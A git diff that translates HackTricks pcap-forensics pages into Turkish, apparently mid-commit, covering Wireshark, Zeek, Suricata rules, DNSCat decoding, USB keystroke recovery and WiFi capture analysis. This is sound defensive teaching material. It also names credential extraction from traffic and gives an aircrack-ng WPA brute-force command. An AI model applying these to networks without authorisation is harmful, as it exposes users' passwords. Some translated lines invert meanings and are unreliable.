**belirleme** +- Desenler ile Steganografi **tanımlama** +- **Görsel** ikili fark analizi -BinVis is a great **start-point to get familiar with an unknown target** in a black-boxing scenario. +BinVis, bir kara kutu senaryosunda bilinmeyen bir hedefle tanışmak için harika bir **başlangıç noktasıdır**. -## Specific Data Carving Tools +## Özel Veri Karıştırma Araçları ### FindAES -Searches for AES keys by searching for their key schedules. Able to find 128. 192, and 256 bit keys, such as those used by TrueCrypt and BitLocker. +AES anahtarlarını anahtar programlarını arayarak bulur. TrueCrypt ve BitLocker gibi 128, 192 ve 256 bit anahtarları bulabilir. -Download [here](https://sourceforge.net/projects/findaes/). +[Buradan](https://sourceforge.net/projects/findaes/) indirin. -## Complementary tools +## Tamamlayıcı araçlar -You can use [**viu** ](https://github.com/atanunq/viu)to see images from the terminal.\ -You can use the linux command line tool **pdftotext** to transform a pdf into text and read it. +Terminalden görüntüleri görmek için [**viu** ](https://github.com/atanunq/viu) kullanabilirsiniz.\ +Bir pdf'yi metne dönüştürmek ve okumak için linux komut satırı aracı **pdftotext** kullanabilirsiniz. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md index c16bee711..f73d233d9 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/README.md @@ -1,33 +1,27 @@ -# Pcap Inspection +# Pcap İncelemesi {{#include ../../../banners/hacktricks-training.md}} -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - > [!NOTE] -> A note about **PCAP** vs **PCAPNG**: there are two versions of the PCAP file format; **PCAPNG is newer and not supported by all tools**. You may need to convert a file from PCAPNG to PCAP using Wireshark or another compatible tool, in order to work with it in some other tools. +> **PCAP** ile **PCAPNG** hakkında bir not: PCAP dosya formatının iki versiyonu vardır; **PCAPNG daha yenidir ve tüm araçlar tarafından desteklenmez**. Bazı diğer araçlarla çalışabilmek için bir dosyayı PCAPNG'den PCAP'a dönüştürmeniz gerekebilir; bunu Wireshark veya başka bir uyumlu araç kullanarak yapabilirsiniz. -## Online tools for pcaps +## Pcap'ler için çevrimiçi araçlar -- If the header of your pcap is **broken** you should try to **fix** it using: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) -- Extract **information** and search for **malware** inside a pcap in [**PacketTotal**](https://packettotal.com) -- Search for **malicious activity** using [**www.virustotal.com**](https://www.virustotal.com) and [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) -- **Full pcap analysis from the browser in** [**https://apackets.com/**](https://apackets.com/) +- Pcap'inizin başlığı **bozuksa**, bunu **düzeltmek** için şunu deneyin: [http://f00l.de/hacking/**pcapfix.php**](http://f00l.de/hacking/pcapfix.php) +- Bir pcap içindeki **bilgileri** çıkarın ve **kötü amaçlı yazılım** arayın [**PacketTotal**](https://packettotal.com) içinde +- [**www.virustotal.com**](https://www.virustotal.com) ve [**www.hybrid-analysis.com**](https://www.hybrid-analysis.com) kullanarak **kötü niyetli etkinlik** arayın +- **Tarayıcıdan tam pcap analizi** [**https://apackets.com/**](https://apackets.com/) içinde -## Extract Information +## Bilgi Çıkarma -The following tools are useful to extract statistics, files, etc. +Aşağıdaki araçlar istatistik, dosya vb. çıkarmak için faydalıdır. ### Wireshark > [!NOTE] -> **If you are going to analyze a PCAP you basically must to know how to use Wireshark** +> **Bir PCAP analiz edecekseniz, temelde Wireshark'ı nasıl kullanacağınızı bilmelisiniz** -You can find some Wireshark tricks in: +Wireshark ipuçlarını şurada bulabilirsiniz: {{#ref}} wireshark-tricks.md @@ -35,68 +29,60 @@ wireshark-tricks.md ### [**https://apackets.com/**](https://apackets.com/) -Pcap analysis from the browser. +Tarayıcıdan pcap analizi. ### Xplico Framework -[**Xplico** ](https://github.com/xplico/xplico)_(only linux)_ can **analyze** a **pcap** and extract information from it. For example, from a pcap file Xplico, extracts each email (POP, IMAP, and SMTP protocols), all HTTP contents, each VoIP call (SIP), FTP, TFTP, and so on. - -**Install** +[**Xplico** ](https://github.com/xplico/xplico)_(sadece linux)_ bir **pcap'ı analiz edebilir** ve ondan bilgi çıkarabilir. Örneğin, bir pcap dosyasından Xplico, her e-postayı (POP, IMAP ve SMTP protokolleri), tüm HTTP içeriklerini, her VoIP çağrısını (SIP), FTP, TFTP vb. çıkarır. +**Kurulum** ```bash sudo bash -c 'echo "deb http://repo.xplico.org/ $(lsb_release -s -c) main" /etc/apt/sources.list' sudo apt-key adv --keyserver keyserver.ubuntu.com --recv-keys 791C25CE sudo apt-get update sudo apt-get install xplico ``` - -**Run** - +**Çalıştır** ``` /etc/init.d/apache2 restart /etc/init.d/xplico start ``` +_**127.0.0.1:9876**_ adresine _**xplico:xplico**_ kimlik bilgileriyle erişin. -Access to _**127.0.0.1:9876**_ with credentials _**xplico:xplico**_ - -Then create a **new case**, create a **new session** inside the case and **upload the pcap** file. +Ardından **yeni bir vaka** oluşturun, vaka içinde **yeni bir oturum** oluşturun ve **pcap** dosyasını **yükleyin**. ### NetworkMiner -Like Xplico it is a tool to **analyze and extract objects from pcaps**. It has a free edition that you can **download** [**here**](https://www.netresec.com/?page=NetworkMiner). It works with **Windows**.\ -This tool is also useful to get **other information analysed** from the packets in order to be able to know what was happening in a **quicker** way. +Xplico gibi, **pcap'lerden nesneleri analiz etmek ve çıkarmak** için bir araçtır. **Buradan** [**indirebileceğiniz**] (https://www.netresec.com/?page=NetworkMiner) ücretsiz bir sürümü vardır. **Windows** ile çalışır.\ +Bu araç, paketlerden **diğer bilgileri analiz etmek** için de faydalıdır, böylece ne olduğunu **daha hızlı** bir şekilde anlayabilirsiniz. ### NetWitness Investigator -You can download [**NetWitness Investigator from here**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **(It works in Windows)**.\ -This is another useful tool that **analyses the packets** and sorts the information in a useful way to **know what is happening inside**. +[**NetWitness Investigator'ı buradan**](https://www.rsa.com/en-us/contact-us/netwitness-investigator-freeware) **indirebilirsiniz** **(Windows'ta çalışır)**.\ +Bu, paketleri **analiz eden** ve bilgileri **içeride neler olduğunu bilmek için** faydalı bir şekilde sıralayan başka bir yararlı araçtır. ### [BruteShark](https://github.com/odedshimon/BruteShark) -- Extracting and encoding usernames and passwords (HTTP, FTP, Telnet, IMAP, SMTP...) -- Extract authentication hashes and crack them using Hashcat (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) -- Build a visual network diagram (Network nodes & users) -- Extract DNS queries -- Reconstruct all TCP & UDP Sessions -- File Carving +- Kullanıcı adlarını ve şifreleri çıkarmak ve kodlamak (HTTP, FTP, Telnet, IMAP, SMTP...) +- Kimlik doğrulama hash'lerini çıkarmak ve Hashcat kullanarak kırmak (Kerberos, NTLM, CRAM-MD5, HTTP-Digest...) +- Görsel bir ağ diyagramı oluşturmak (Ağ düğümleri ve kullanıcılar) +- DNS sorgularını çıkarmak +- Tüm TCP ve UDP oturumlarını yeniden oluşturmak +- Dosya carving ### Capinfos - ``` capinfos capture.pcap ``` - ### Ngrep -If you are **looking** for **something** inside the pcap you can use **ngrep**. Here is an example using the main filters: - +Eğer pcap içinde **bir şey** **arıyorsanız** **ngrep** kullanabilirsiniz. İşte ana filtreleri kullanan bir örnek: ```bash ngrep -I packets.pcap "^GET" "port 80 and tcp and host 192.168 and dst host 192.168 and src host 192.168" ``` - ### Carving -Using common carving techniques can be useful to extract files and information from the pcap: +Yaygın carving tekniklerini kullanmak, pcap'ten dosyaları ve bilgileri çıkarmak için faydalı olabilir: {{#ref}} ../partitions-file-systems-carving/file-data-carving-recovery-tools.md @@ -104,46 +90,36 @@ Using common carving techniques can be useful to extract files and information f ### Capturing credentials -You can use tools like [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) to parse credentials from a pcap or a live interface. - -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} +Bir pcap veya canlı bir arayüzden kimlik bilgilerini ayrıştırmak için [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) gibi araçları kullanabilirsiniz. ## Check Exploits/Malware ### Suricata **Install and setup** - ``` apt-get install suricata apt-get install oinkmaster echo "url = http://rules.emergingthreats.net/open/suricata/emerging.rules.tar.gz" >> /etc/oinkmaster.conf oinkmaster -C /etc/oinkmaster.conf -o /etc/suricata/rules ``` - -**Check pcap** - +**Pcap'ı kontrol et** ``` suricata -r packets.pcap -c /etc/suricata/suricata.yaml -k none -v -l log ``` - ### YaraPcap -[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) is a tool that +[**YaraPCAP**](https://github.com/kevthehermit/YaraPcap) bir araçtır -- Reads a PCAP File and Extracts Http Streams. -- gzip deflates any compressed streams -- Scans every file with yara -- Writes a report.txt -- Optionally saves matching files to a Dir +- Bir PCAP Dosyasını Okur ve Http Akışlarını Çıkarır. +- gzip, sıkıştırılmış akışları açar +- Her dosyayı yara ile tarar +- report.txt dosyası yazar +- İsteğe bağlı olarak eşleşen dosyaları bir Dizin'e kaydeder ### Malware Analysis -Check if you can find any fingerprint of a known malware: +Bilinen bir kötü amaçlı yazılımın herhangi bir parmak izini bulup bulamayacağını kontrol edin: {{#ref}} ../malware-analysis.md @@ -151,12 +127,11 @@ Check if you can find any fingerprint of a known malware: ## Zeek -> [Zeek](https://docs.zeek.org/en/master/about.html) is a passive, open-source network traffic analyzer. Many operators use Zeek as a Network Security Monitor (NSM) to support investigations of suspicious or malicious activity. Zeek also supports a wide range of traffic analysis tasks beyond the security domain, including performance measurement and troubleshooting. +> [Zeek](https://docs.zeek.org/en/master/about.html) pasif, açık kaynaklı bir ağ trafiği analizörüdür. Birçok operatör, şüpheli veya kötü niyetli etkinliklerin araştırmalarını desteklemek için Zeek'i Ağ Güvenliği İzleyicisi (NSM) olarak kullanır. Zeek ayrıca güvenlik alanının ötesinde, performans ölçümü ve sorun giderme dahil olmak üzere geniş bir trafik analizi görev yelpazesini destekler. -Basically, logs created by `zeek` aren't **pcaps**. Therefore you will need to use **other tools** to analyse the logs where the **information** about the pcaps are. +Temelde, `zeek` tarafından oluşturulan günlükler **pcap** değildir. Bu nedenle, **pcap'ler** hakkında **bilgilerin** bulunduğu günlükleri analiz etmek için **diğer araçlar** kullanmanız gerekecektir. ### Connections Info - ```bash #Get info about longest connections (add "grep udp" to see only udp traffic) #The longest connection might be of malware (constant reverse shell?) @@ -206,9 +181,7 @@ Score,Source IP,Destination IP,Connections,Avg Bytes,Intvl Range,Size Range,Top 1,10.55.100.111,165.227.216.194,20054,92,29,52,1,52,7774,20053,0,0,0,0 0.838,10.55.200.10,205.251.194.64,210,69,29398,4,300,70,109,205,0,0,0,0 ``` - -### DNS info - +### DNS bilgisi ```bash #Get info about each DNS request performed cat dns.log | zeek-cut -c id.orig_h query qtype_name answers @@ -225,8 +198,7 @@ cat dns.log | zeek-cut qtype_name | sort | uniq -c | sort -nr #See top DNS domain requested with rita rita show-exploded-dns -H --limit 10 zeek_logs ``` - -## Other pcap analysis tricks +## Diğer pcap analiz ipuçları {{#ref}} dnscat-exfiltration.md @@ -242,10 +214,4 @@ usb-keystrokes.md ​ -
- -[**RootedCON**](https://www.rootedcon.com/) is the most relevant cybersecurity event in **Spain** and one of the most important in **Europe**. With **the mission of promoting technical knowledge**, this congress is a boiling meeting point for technology and cybersecurity professionals in every discipline. - -{% embed url="https://www.rootedcon.com/" %} - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md index aba634f34..77ff78f21 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/dnscat-exfiltration.md @@ -1,11 +1,10 @@ -# DNSCat pcap analysis +# DNSCat pcap analizi {{#include ../../../banners/hacktricks-training.md}} -If you have pcap with data being **exfiltrated by DNSCat** (without using encryption), you can find the exfiltrated content. - -You only need to know that the **first 9 bytes** are not real data but are related to the **C\&C communication**: +Eğer şifreleme kullanmadan **DNSCat** ile **sızdırılan** verilerin olduğu bir pcap dosyanız varsa, sızdırılan içeriği bulabilirsiniz. +Sadece **ilk 9 baytın** gerçek veri olmadığını ve **C\&C iletişimi** ile ilgili olduğunu bilmeniz yeterlidir: ```python from scapy.all import rdpcap, DNSQR, DNSRR import struct @@ -13,25 +12,22 @@ import struct f = "" last = "" for p in rdpcap('ch21.pcap'): - if p.haslayer(DNSQR) and not p.haslayer(DNSRR): +if p.haslayer(DNSQR) and not p.haslayer(DNSRR): - qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") - qry = ''.join(_.decode('hex') for _ in qry)[9:] - if last != qry: - print(qry) - f += qry - last = qry +qry = p[DNSQR].qname.replace(".jz-n-bs.local.","").strip().split(".") +qry = ''.join(_.decode('hex') for _ in qry)[9:] +if last != qry: +print(qry) +f += qry +last = qry #print(f) ``` - -For more information: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ +Daha fazla bilgi için: [https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap](https://github.com/jrmdev/ctf-writeups/tree/master/bsidessf-2017/dnscap)\ [https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md](https://github.com/iagox86/dnscat2/blob/master/doc/protocol.md) -There is a script that works with Python3: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) - +Python3 ile çalışan bir script bulunmaktadır: [https://github.com/josemlwdf/DNScat-Decoder](https://github.com/josemlwdf/DNScat-Decoder) ``` python3 dnscat_decoder.py sample.pcap bad_domain ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md index 4be42c696..933797205 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/suricata-and-iptables-cheatsheet.md @@ -4,16 +4,15 @@ ## Iptables -### Chains +### Zincirler -In iptables, lists of rules known as chains are processed sequentially. Among these, three primary chains are universally present, with additional ones like NAT being potentially supported depending on the system's capabilities. +Iptables'ta, kuralların listeleri zincirler olarak adlandırılır ve sıralı bir şekilde işlenir. Bunlar arasında, evrensel olarak mevcut olan üç ana zincir bulunur; sistemin yeteneklerine bağlı olarak NAT gibi ek zincirler de desteklenebilir. -- **Input Chain**: Utilized for managing the behavior of incoming connections. -- **Forward Chain**: Employed for handling incoming connections that are not destined for the local system. This is typical for devices acting as routers, where the data received is meant to be forwarded to another destination. This chain is relevant primarily when the system is involved in routing, NATing, or similar activities. -- **Output Chain**: Dedicated to the regulation of outgoing connections. - -These chains ensure the orderly processing of network traffic, allowing for the specification of detailed rules governing the flow of data into, through, and out of a system. +- **Giriş Zinciri**: Gelen bağlantıların davranışını yönetmek için kullanılır. +- **İleri Zincir**: Yerel sisteme yönlendirilmemiş gelen bağlantıları işlemek için kullanılır. Bu, verilerin başka bir hedefe iletilmesi amaçlanan yönlendirici olarak işlev gören cihazlar için tipiktir. Bu zincir, sistemin yönlendirme, NAT yapma veya benzeri faaliyetlerde bulunduğu durumlarda önemlidir. +- **Çıkış Zinciri**: Giden bağlantıların düzenlenmesine adanmıştır. +Bu zincirler, ağ trafiğinin düzenli bir şekilde işlenmesini sağlar ve bir sistemin içine, içinden ve dışına veri akışını yöneten ayrıntılı kuralların belirlenmesine olanak tanır. ```bash # Delete all rules iptables -F @@ -50,11 +49,9 @@ iptables-save > /etc/sysconfig/iptables ip6tables-save > /etc/sysconfig/ip6tables iptables-restore < /etc/sysconfig/iptables ``` - ## Suricata -### Install & Config - +### Kurulum ve Konfigürasyon ```bash # Install details from: https://suricata.readthedocs.io/en/suricata-6.0.0/install.html#install-binary-packages # Ubuntu @@ -64,7 +61,7 @@ apt-get install suricata # Debian echo "deb http://http.debian.net/debian buster-backports main" > \ - /etc/apt/sources.list.d/backports.list +/etc/apt/sources.list.d/backports.list apt-get update apt-get install suricata -t buster-backports @@ -80,7 +77,7 @@ suricata-update ## To use the dowloaded rules update the following line in /etc/suricata/suricata.yaml default-rule-path: /var/lib/suricata/rules rule-files: - - suricata.rules +- suricata.rules # Run ## Add rules in /etc/suricata/rules/suricata.rules @@ -92,7 +89,7 @@ suricata -c /etc/suricata/suricata.yaml -i eth0 suricatasc -c ruleset-reload-nonblocking ## or set the follogin in /etc/suricata/suricata.yaml detect-engine: - - rule-reload: true +- rule-reload: true # Validate suricata config suricata -T -c /etc/suricata/suricata.yaml -v @@ -101,8 +98,8 @@ suricata -T -c /etc/suricata/suricata.yaml -v ## Config drop to generate alerts ## Search for the following lines in /etc/suricata/suricata.yaml and remove comments: - drop: - alerts: yes - flows: all +alerts: yes +flows: all ## Forward all packages to the queue where suricata can act as IPS iptables -I INPUT -j NFQUEUE @@ -120,76 +117,70 @@ Type=simple systemctl daemon-reload ``` +### Kurallar Tanımları -### Rules Definitions - -[From the docs:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) A rule/signature consists of the following: - -- The **action**, determines what happens when the signature matches. -- The **header**, defines the protocol, IP addresses, ports and direction of the rule. -- The **rule options**, define the specifics of the rule. +[Belgelerden:](https://github.com/OISF/suricata/blob/master/doc/userguide/rules/intro.rst) Bir kural/imza aşağıdakilerden oluşur: +- **hareket**, imza eşleştiğinde ne olacağını belirler. +- **başlık**, kuralın protokolünü, IP adreslerini, portları ve yönünü tanımlar. +- **kural seçenekleri**, kuralın ayrıntılarını tanımlar. ```bash alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"HTTP GET Request Containing Rule in URI"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"rule"; fast_pattern; classtype:bad-unknown; sid:123; rev:1;) ``` +#### **Geçerli eylemler** -#### **Valid actions are** +- alert - bir uyarı oluştur +- pass - paketin daha fazla incelenmesini durdur +- **drop** - paketi düşür ve uyarı oluştur +- **reject** - eşleşen paketin göndericisine RST/ICMP ulaşılamaz hatası gönder +- rejectsrc - sadece _reject_ ile aynı +- rejectdst - eşleşen paketin alıcısına RST/ICMP hata paketi gönder +- rejectboth - konuşmanın her iki tarafına RST/ICMP hata paketleri gönder -- alert - generate an alert -- pass - stop further inspection of the packet -- **drop** - drop packet and generate alert -- **reject** - send RST/ICMP unreachable error to the sender of the matching packet. -- rejectsrc - same as just _reject_ -- rejectdst - send RST/ICMP error packet to the receiver of the matching packet. -- rejectboth - send RST/ICMP error packets to both sides of the conversation. +#### **Protokoller** -#### **Protocols** - -- tcp (for tcp-traffic) +- tcp (tcp-trafik için) - udp - icmp -- ip (ip stands for ‘all’ or ‘any’) -- _layer7 protocols_: http, ftp, tls, smb, dns, ssh... (more in the [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) +- ip (ip 'tümü' veya 'herhangi' anlamına gelir) +- _layer7 protokolleri_: http, ftp, tls, smb, dns, ssh... (daha fazlası için [**docs**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html)) -#### Source and Destination Addresses +#### Kaynak ve Hedef Adresler -It supports IP ranges, negations and a list of addresses: +IP aralıklarını, olumsuzlamaları ve adres listelerini destekler: -| Example | Meaning | +| Örnek | Anlamı | | ----------------------------- | ---------------------------------------- | -| ! 1.1.1.1 | Every IP address but 1.1.1.1 | -| !\[1.1.1.1, 1.1.1.2] | Every IP address but 1.1.1.1 and 1.1.1.2 | -| $HOME_NET | Your setting of HOME_NET in yaml | -| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET and not HOME_NET | -| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24 except for 10.0.0.5 | +| ! 1.1.1.1 | 1.1.1.1 hariç her IP adresi | +| !\[1.1.1.1, 1.1.1.2] | 1.1.1.1 ve 1.1.1.2 hariç her IP adresi | +| $HOME_NET | yaml'daki HOME_NET ayarınız | +| \[$EXTERNAL\_NET, !$HOME_NET] | EXTERNAL_NET ve HOME_NET hariç | +| \[10.0.0.0/24, !10.0.0.5] | 10.0.0.0/24, 10.0.0.5 hariç | -#### Source and Destination Ports +#### Kaynak ve Hedef Portlar -It supports port ranges, negations and lists of ports +Port aralıklarını, olumsuzlamaları ve port listelerini destekler: -| Example | Meaning | -| --------------- | -------------------------------------- | -| any | any address | -| \[80, 81, 82] | port 80, 81 and 82 | -| \[80: 82] | Range from 80 till 82 | -| \[1024: ] | From 1024 till the highest port-number | -| !80 | Every port but 80 | -| \[80:100,!99] | Range from 80 till 100 but 99 excluded | -| \[1:80,!\[2,4]] | Range from 1-80, except ports 2 and 4 | +| Örnek | Anlamı | +| --------------- | ------------------------------------- | +| any | herhangi bir adres | +| \[80, 81, 82] | port 80, 81 ve 82 | +| \[80: 82] | 80'den 82'ye kadar aralık | +| \[1024: ] | 1024'ten en yüksek port numarasına kadar | +| !80 | 80 hariç her port | +| \[80:100,!99] | 80'den 100'e kadar aralık ama 99 hariç | +| \[1:80,!\[2,4]] | 1-80 aralığı, port 2 ve 4 hariç | -#### Direction - -It's possible to indicate the direction of the communication rule being applied: +#### Yön +Uygulanan iletişim kuralının yönünü belirtmek mümkündür: ``` source -> destination source <> destination (both directions) ``` +#### Anahtar Kelimeler -#### Keywords - -There are **hundreds of options** available in Suricata to search for the **specific packet** you are looking for, here it will be mentioned if something interesting is found. Check the [**documentation** ](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html)for more! - +Suricata'da aradığınız **belirli paketi** bulmak için **yüzlerce seçenek** mevcuttur, burada ilginç bir şey bulunursa belirtilir. Daha fazla bilgi için [**belgelere**](https://suricata.readthedocs.io/en/suricata-6.0.0/rules/index.html) göz atın! ```bash # Meta Keywords msg: "description"; #Set a description to the rule @@ -230,5 +221,4 @@ drop tcp any any -> any any (msg:"regex"; pcre:"/CTF\{[\w]{3}/i"; sid:10001;) ## Drop by port drop tcp any any -> any 8000 (msg:"8000 port"; sid:1000;) ``` - {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md index 782e405aa..c8145a482 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/usb-keystrokes.md @@ -1,19 +1,17 @@ -# USB Keystrokes +# USB Tuş Vuruşları {{#include ../../../banners/hacktricks-training.md}} -If you have a pcap containing the communication via USB of a keyboard like the following one: +Eğer aşağıdaki gibi bir klavyenin USB üzerinden iletişimini içeren bir pcap dosyanız varsa: ![](<../../../images/image (962).png>) -You can use the tool [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) to get what was written in the communication: - +İletişimde yazılanları almak için [**ctf-usb-keyboard-parser**](https://github.com/TeamRocketIst/ctf-usb-keyboard-parser) aracını kullanabilirsiniz: ```bash tshark -r ./usb.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > keystrokes.txt python3 usbkeyboard.py ./keystrokes.txt ``` - -You can read more information and find some scripts about how to analyse this in: +Daha fazla bilgi okuyabilir ve bunu analiz etme hakkında bazı betikler bulabilirsiniz: - [https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4](https://medium.com/@ali.bawazeeer/kaizen-ctf-2018-reverse-engineer-usb-keystrok-from-pcap-file-2412351679f4) - [https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup](https://github.com/tanc7/HacktheBox_Deadly_Arthropod_Writeup) diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md index f1371d5fa..c5b022257 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wifi-pcap-analysis.md @@ -1,40 +1,38 @@ -# Wifi Pcap Analysis +# Wifi Pcap Analizi {{#include ../../../banners/hacktricks-training.md}} -## Check BSSIDs +## BSSID'leri Kontrol Et -When you receive a capture whose principal traffic is Wifi using WireShark you can start investigating all the SSIDs of the capture with _Wireless --> WLAN Traffic_: +WireShark kullanarak Wifi'nın ana trafiği olan bir yakalama aldığınızda, _Wireless --> WLAN Traffic_ ile yakalamadaki tüm SSID'leri araştırmaya başlayabilirsiniz: ![](<../../../images/image (106).png>) ![](<../../../images/image (492).png>) -### Brute Force - -One of the columns of that screen indicates if **any authentication was found inside the pcap**. If that is the case you can try to Brute force it using `aircrack-ng`: +### Kaba Kuvvet +O ekranın sütunlarından biri **pcap içinde herhangi bir kimlik doğrulama bulunup bulunmadığını** gösterir. Eğer durum böyleyse, `aircrack-ng` kullanarak kaba kuvvet denemesi yapabilirsiniz: ```bash aircrack-ng -w pwds-file.txt -b file.pcap ``` +Örneğin, daha sonra trafiği şifrelemek için gerekli olan bir PSK (önceden paylaşılan anahtar) koruyan WPA parolasını alacaktır. -For example it will retrieve the WPA passphrase protecting a PSK (pre shared-key), that will be required to decrypt the trafic later. +## Beacon'larda / Yan Kanalda Veri -## Data in Beacons / Side Channel +Eğer **bir Wifi ağının beacon'larında verinin sızdırıldığını düşünüyorsanız**, ağın beacon'larını aşağıdaki gibi bir filtre kullanarak kontrol edebilirsiniz: `wlan contains `, veya `wlan.ssid == "NAMEofNETWORK"` filtrelenmiş paketler içinde şüpheli dizeleri arayın. -If you suspect that **data is being leaked inside beacons of a Wifi network** you can check the beacons of the network using a filter like the following one: `wlan contains `, or `wlan.ssid == "NAMEofNETWORK"` search inside the filtered packets for suspicious strings. +## Bir Wifi Ağında Bilinmeyen MAC Adreslerini Bulma -## Find Unknown MAC Addresses in A Wifi Network - -The following link will be useful to find the **machines sending data inside a Wifi Network**: +Aşağıdaki bağlantı, **bir Wifi Ağı içinde veri gönderen makineleri bulmak için** faydalı olacaktır: - `((wlan.ta == e8:de:27:16:70:c9) && !(wlan.fc == 0x8000)) && !(wlan.fc.type_subtype == 0x0005) && !(wlan.fc.type_subtype ==0x0004) && !(wlan.addr==ff:ff:ff:ff:ff:ff) && wlan.fc.type==2` -If you already know **MAC addresses you can remove them from the output** adding checks like this one: `&& !(wlan.addr==5c:51:88:31:a0:3b)` +Eğer **MAC adreslerini zaten biliyorsanız, bunları çıktılardan çıkarabilirsiniz** bu gibi kontroller ekleyerek: `&& !(wlan.addr==5c:51:88:31:a0:3b)` -Once you have detected **unknown MAC** addresses communicating inside the network you can use **filters** like the following one: `wlan.addr== && (ftp || http || ssh || telnet)` to filter its traffic. Note that ftp/http/ssh/telnet filters are useful if you have decrypted the traffic. +Ağ içinde iletişim kuran **bilinmeyen MAC** adreslerini tespit ettikten sonra, trafiğini filtrelemek için **filtreler** kullanabilirsiniz, aşağıdaki gibi: `wlan.addr== && (ftp || http || ssh || telnet)`. ftp/http/ssh/telnet filtrelerinin, trafiği şifrelediyseniz faydalı olduğunu unutmayın. -## Decrypt Traffic +## Trafiği Şifre Çözme Edit --> Preferences --> Protocols --> IEEE 802.11--> Edit diff --git a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md index 6565bd680..b44acd6e6 100644 --- a/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md +++ b/src/generic-methodologies-and-resources/basic-forensic-methodology/pcap-inspection/wireshark-tricks.md @@ -1,157 +1,155 @@ -# Wireshark tricks +# Wireshark ipuçları {{#include ../../../banners/hacktricks-training.md}} -## Improve your Wireshark skills +## Wireshark becerilerinizi geliştirin -### Tutorials +### Eğitimler -The following tutorials are amazing to learn some cool basic tricks: +Aşağıdaki eğitimler bazı harika temel ipuçlarını öğrenmek için mükemmeldir: - [https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/](https://unit42.paloaltonetworks.com/unit42-customizing-wireshark-changing-column-display/) - [https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/](https://unit42.paloaltonetworks.com/using-wireshark-display-filter-expressions/) - [https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/](https://unit42.paloaltonetworks.com/using-wireshark-identifying-hosts-and-users/) - [https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/](https://unit42.paloaltonetworks.com/using-wireshark-exporting-objects-from-a-pcap/) -### Analysed Information +### Analiz Edilen Bilgiler -**Expert Information** +**Uzman Bilgisi** -Clicking on _**Analyze** --> **Expert Information**_ you will have an 